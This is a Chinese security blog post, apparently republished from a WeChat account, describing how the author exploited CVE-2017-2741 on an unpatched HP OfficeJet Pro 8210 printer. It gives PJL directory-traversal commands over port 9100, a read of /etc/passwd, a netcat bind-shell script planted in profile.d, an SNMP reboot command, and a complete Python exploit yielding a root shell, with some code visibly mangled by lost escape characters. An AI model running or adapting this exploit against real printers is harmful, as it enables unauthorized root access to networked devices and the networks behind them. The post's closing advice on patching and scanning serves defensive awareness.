看我如何从漏洞公告入手黑掉一台打印机

  • A+
所属分类:安全文章
点击上方蓝字可以订阅哦

看我如何从漏洞公告入手黑掉一台打印机


打印机是人们生活和办公中经常使用到的设备,家庭、公司、政府、医院、学校……,几乎每个单位机构都会使用打印机。其实,打印机在整个网络系统和边界范围中的安全问题不容忽视。你知道吗,打印机也需要经常更新补丁固件,打印机系统同样存在很多漏洞。但人们是否能真正认识到打印机的信息安全问题,值得思考。在此,我以某漏洞公告入手,叙述如何黑掉一台未及时更新固件的打印机,希望藉此引起人们对打印机安全问题的重视。

HP打印机某漏洞公告

4月初,HP(惠普)发布了一条名为“HP PageWide Printers, HP OfficeJet Pro Printers, Arbitrary Code Execution”,关于HP PageWide Printers和HP OfficeJet Pro Printer两种打印机的任意代码执行漏洞公告。公告总结中声称:

某些型号的HP打印机中被发现存在一种潜在的安全漏洞,攻击者利用该漏洞可以对目标打印机发起攻击,执行任意代码行为。

认真阅读该公告可以发现,该漏洞的CVSS评分竟高达9.8分严重),但从字面来看,这种漏洞总结基本可以算是不痛不痒的说明,尤其对漏洞影响的隐晦刻画词“潜在”,更是让人一头雾水。除此之外,还有一个无任何有用信息的CVE描述CVE-2017-2741,虽然已是HP漏洞公告后的两个月,但该CVE仍然处于“RESERVED” 状态,无任何漏洞细节的详细描述。

前期准备工作

保持好奇心永远没错!这种“潜在”的高危漏洞激起了我们的研究兴趣,大家愿意为之乐此不疲,说干就干,对照漏洞公告中受影响的设备型号,我们立即购买了两台HP OfficeJet Pro 8210打印机。

看我如何从漏洞公告入手黑掉一台打印机

对于漏洞研究来说,购买新设备并期望其中仍然存在漏洞固件,本来就是一种赌博。天知道漏洞补丁是否被修复?侥幸的是,两台新购打印机都存在漏洞固件并禁用了补丁更新,如下web界面所示:

看我如何从漏洞公告入手黑掉一台打印机

HP安全公告烦人的事就是告知用户前往www.hp.com/support自行下载相应的更新固件,HP针对此漏洞,提供了名为OJ8210_R1709A.exe的更新固件下载。

看我如何从漏洞公告入手黑掉一台打印机


为了方便验证对比,我们为其中一台OfficeJet Pro 8210打印机更新了固件,另一台未更新。好了,准备就绪,现在开始研究远程代码执行吧!


未更新固件的打印机:192.168.1.158

更新了固件的打印机:192.168.1.159

研究开始


首先,用NMAP对更新了固件的打印机执行端口扫描:

[email protected]:~$ nmap -A 192.168.1.159Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT Nmap scan report for HP0A6BFE.westeros (192.168.1.159) Host is up (0.014s latency). Not shown: 994 closed ports PORT      STATE SERVICE    VERSION80/tcp    open  http       HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;443/tcp   open  ssl/https  HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;515/tcp   open  printer631/tcp   open  ssl/ipp    HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;8080/tcp  open  http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;9100/tcp  open  jetdirect?


从扫描结果来看,并没有什么异常,804438080端口都是用于HTTP服务监听的,515端口为行式打印机服务(LPD),631端口为互联网打印协议(IPP),被NMAP标记为“jetdirect?”的9100端口为HP的原始打印服务端口或9100打印服务。


HP把9100端口打印服务列为“HP专有”,但其除了支持原始打印服务外,还支持 PCL、PostScript和PJL打印语言。用这台OfficeJet Pro 8210打印机为例,以下为通过9100端口利用PJL语言获取打印机设备信息:

[email protected]:~$ nc 192.168.1.159 9100@PJL INFO ID @PJL INFO ID"HP OfficeJet Pro 8210"


德国安全专家Jens Müller在1月份发布的报告《入侵网络打印机:激光和多功能打印设备漏洞研究》中指出,大部分打印存在利用PJL语言进行目录遍历的漏洞,这里示例如下:

[email protected]:~$ nc 192.168.1.159 9100@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024@PJL FSDIRLIST NAME="0:/" ENTR tmp/ TYPE=DIR csr_misc/ TYPE=DIR


可以发现,以上命令中列出了打印机的一个根目录0:/,和两个子目录tmp/、csr_misc/,在未更新固件的打印机上,尝试使用路径0:/../../进行目录枚举后,会出现以下情况:

[email protected]:~$ nc 192.168.1.158 9100@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024@PJL FSDIRLIST NAME="0:/../../" ENTRY=1rw/ TYPE=DIR ram/ TYPE=DIR rom/ TYPE=DIR .sig/ TYPE=DIR


打印机显示了一系列新的目录结构,这些敏感的目录位置看似可以进行攻击利用。我们使用相同的路径0:/../../枚举方法和PJL语言,在更新了固件的打印机上试试,会出现FILEERROR错误,如下:

[email protected]:~$ nc 192.168.1.159 9100@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024@PJL FSDIRLIST NAME="0:/../../"FILEERROR=0


这反映出了固件更新与未更新之间的区别,也侧面说明在未更新固件的打印机上可能存在远程代码执行漏洞。现在,我们把研究重点放在未更新固件的打印机上


在未更新固件的打印机上尝试变换攻击方法


以上枚举出来的目录看似不太有用,这种文件结构不像我们熟悉的其它文件系统,那就试试其它目录遍历路径吧:

[email protected]:~$ nc 192.168.1.158 9100@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4@PJL FSDIRLIST NAME="../../"FILEERROR=0@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4@PJL FSDIRLIST NAME="../../bin/" ENTRY=1getopt TYPE=FILE SIZE=880020setarch TYPE=FILE SIZE=880020dd TYPE=FILE SIZE=880020cp TYPE=FILE SIZE=880020


我尝试了../../后,产生了FILEERROR错误,而../../bin却可以列出一些传统Linux系统文件,看来可以像遍历Linux系统那样进行深入遍历了。


但如何把这些目录遍历转换成远程代码执行呢?首先,你得知道几个PJL命令:FSQUERY、FSUPLOAD和FSDOWNLOAD,这3个命令将会赋予用户访问打印机文件系统的读写(r/w)权限,例如,我可以利用FSQUERY或FSUPLOAD命令读取/etc/passwd密码内容:

@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648root:x:0:0:root:/var/root:/bin/shdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:100:sync:/bin:/bin/syncmail:x:8:8:mail:/var/spool/mail:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shoperator:x:37:37:Operator:/var:/bin/shhaldaemon:x:68:68:hald:/:/bin/shdbus:x:81:81:dbus:/var/run/dbus:/bin/shftp:x:83:83:ftp:/home/ftp:/bin/shnobody:x:99:99:nobody:/home:/bin/shsshd:x:103:99:Operator:/var:/bin/shdefault:x:1000:1000:Default non-root user:/home/default:/bin/sh _ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false


这些内容当然重要,值得读取,由于FSDOWNLOAD命令需要发送终止程序字符(ESC),所以,为了代替Netcat工具,我写了个Python脚本尝试把读取信息存储到../../tmp/writing_test文件中,如下:

import socketimport sys  test = ('test')if len(sys.argv) != 3:    print 'nUsage:upload.py [ip] [port]n'     sys.exit()  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[1], int(sys.argv[2]))print 'connecting to %s port %s' % server_address sock.connect(server_address)  dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="../../tmp/writing_test"rn'dir_query += test dir_query += 'x1b%-12345X'sock.sendall(dir_query) sock.close()


但遗憾的是,该脚本不能成功读取执行,可能是程序解释PJL语言时不具备对打印机文件系统的写权限:

[email protected]:~$ python write_test.py 192.168.1.158 9100connecting to 192.168.1.158 port 9100[email protected]:~$ nc 192.168.1.158 9100@PJL FSQUERY NAME="../../tmp/writing_test"@PJL FSQUERY NAME="../../tmp/writing_test"FILEERROR=0


没有了对该Linux文件系统的访问权限,也就意味着根本不可能进行文件更换或脚本执行操作,这对我们来说是一个小小的打击。现在,我们唯一的希望就剩下 0:/ 文件系统了。


在此,我就省去了对0:/目录的各种尝试叙述,最终我注意到了0:/../../rw/var/etc/profile.d/目录,因为通常profile.d目录包含了系统启动时的各种执行脚本。而且,可以发现,0:/../../rw/var/etc/profile.d/../../var/etc/profile.d/下似乎都包含了相同的数据内容:

[email protected]:~$ nc 192.168.1.158 9100@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1.sig/ TYPE=DIR  @PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1< .sig/ TYPE=DIR


为了测试在0:/文件系统中是否可以对profile.d进行写权限操作,我把Python脚本中的FSDOWNLOAD命令部分中的写入目录换成了:0:/../../rw/var/etc/profile.d/writing_test,最终脚本如下:

import socketimport sys  test = ('test')if len(sys.argv) != 3:    print 'nUsage:upload.py [ip] [port]n'     sys.exit()  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[1], int(sys.argv[2]))print 'connecting to %s port %s' % server_address sock.connect(server_address)  dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"rn dir_query += test dir_query += 'x1b%-12345X' sock.sendall(dir_query) sock.close()


试试看,竟然成功了,新写入创建的文件还能通过遍历方式可见:

[email protected]:~$ python write_test.py 192.168.1.158 9100connecting to 192.168.1.158 port 9100[email protected]:~$ nc 192.168.1.158 9100@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1.sig/ TYPE=DIR writing_test TYPE=FILE SIZE=4


获得控制Shell


SO,现在已经具备包含系统启动脚本目录的写权限了,离远程代码执行很近了。只需向其中写入一个执行脚本,并弄清楚如何重启打印机,当设备重启时,就可以静待脚本启动执行了。当然,这个脚本的运行最终必须得给予我们shell访问权。由于打印机系统中配置了netcat,由此,我创建了一个脚本,该脚本将会生成一个绑定到1270端口的shell:

if [ ! -p /tmp/pwned ]; then     mkfifo /tmp/pwned     cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned & fi


之后,就只需想办法让打印机远程重启了。主要有两种方法,一种为使用打印机WEB界面中工具栏选项下的电源重启功能(Power Cycle),另一种为使用SNMP协议的MIB命令来实现重启,如下SNMP命令:

[email protected]:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4


Exploit


综上所述,把所有脚本功能合成后,最终写出了一个能向profile.d中写入系统启动执行脚本,并能执行打印机重启的exploit:

## # Create a bind shell on an unpatched OfficeJet 8210# Write a script to profile.d and reboot the device. When it comes # back online then nc to port 1270.# # easysnmp instructions: # sudo apt-get install libsnmp-dev # pip install easysnmp ##import socketimport sysfrom easysnmp import snmp_set  profile_d_script = ('if [ ! -p /tmp/pwned ]; thenn'                     'tmkfifo /tmp/pwnedn'                     'tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &n                     'fin')  if len(sys.argv) != 3:     print 'nUsage:upload.py [ip] [port]n'     sys.exit()  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address)  dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn' dir_query += profile_d_script dir_query += 'x1b%-12345X' sock.sendall(dir_query) sock.close()  sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock1.connect(server_address) dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn' sock1.sendall(dir_query)  response = '' while True:     data = sock1.recv(1)     if 'n' == data: break     response += data  print response snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1) print 'Done! Try port 1270 in ~30 seconds'


对未更新固件的目标打印机执行exploit,大约30秒后,可以获取到一个绑定到1270端口的反弹控制shell,如下:

[email protected]:~$ python printer_exploit.py 192.168.1.158 9100connecting to 192.168.1.158 port 9100@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119Done! Try port 1270 in ~30 seconds [email protected]:~$ nc 192.168.1.158 1270whoami root


总结


针对该漏洞威胁,Tenable已于5月底发布了漏洞检测插件。总之,绝不能忽视打印机安全问题,应该把打印机看成是企业威胁模型中的关键一环,打印机安全问题和计算机安全问题同等重要。另外,还需经常对各类打印设备进行定期安全扫描、固件更新和事件监控。

看我如何从漏洞公告入手黑掉一台打印机


本文始发于微信公众号(零组攻防实验室):看我如何从漏洞公告入手黑掉一台打印机

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: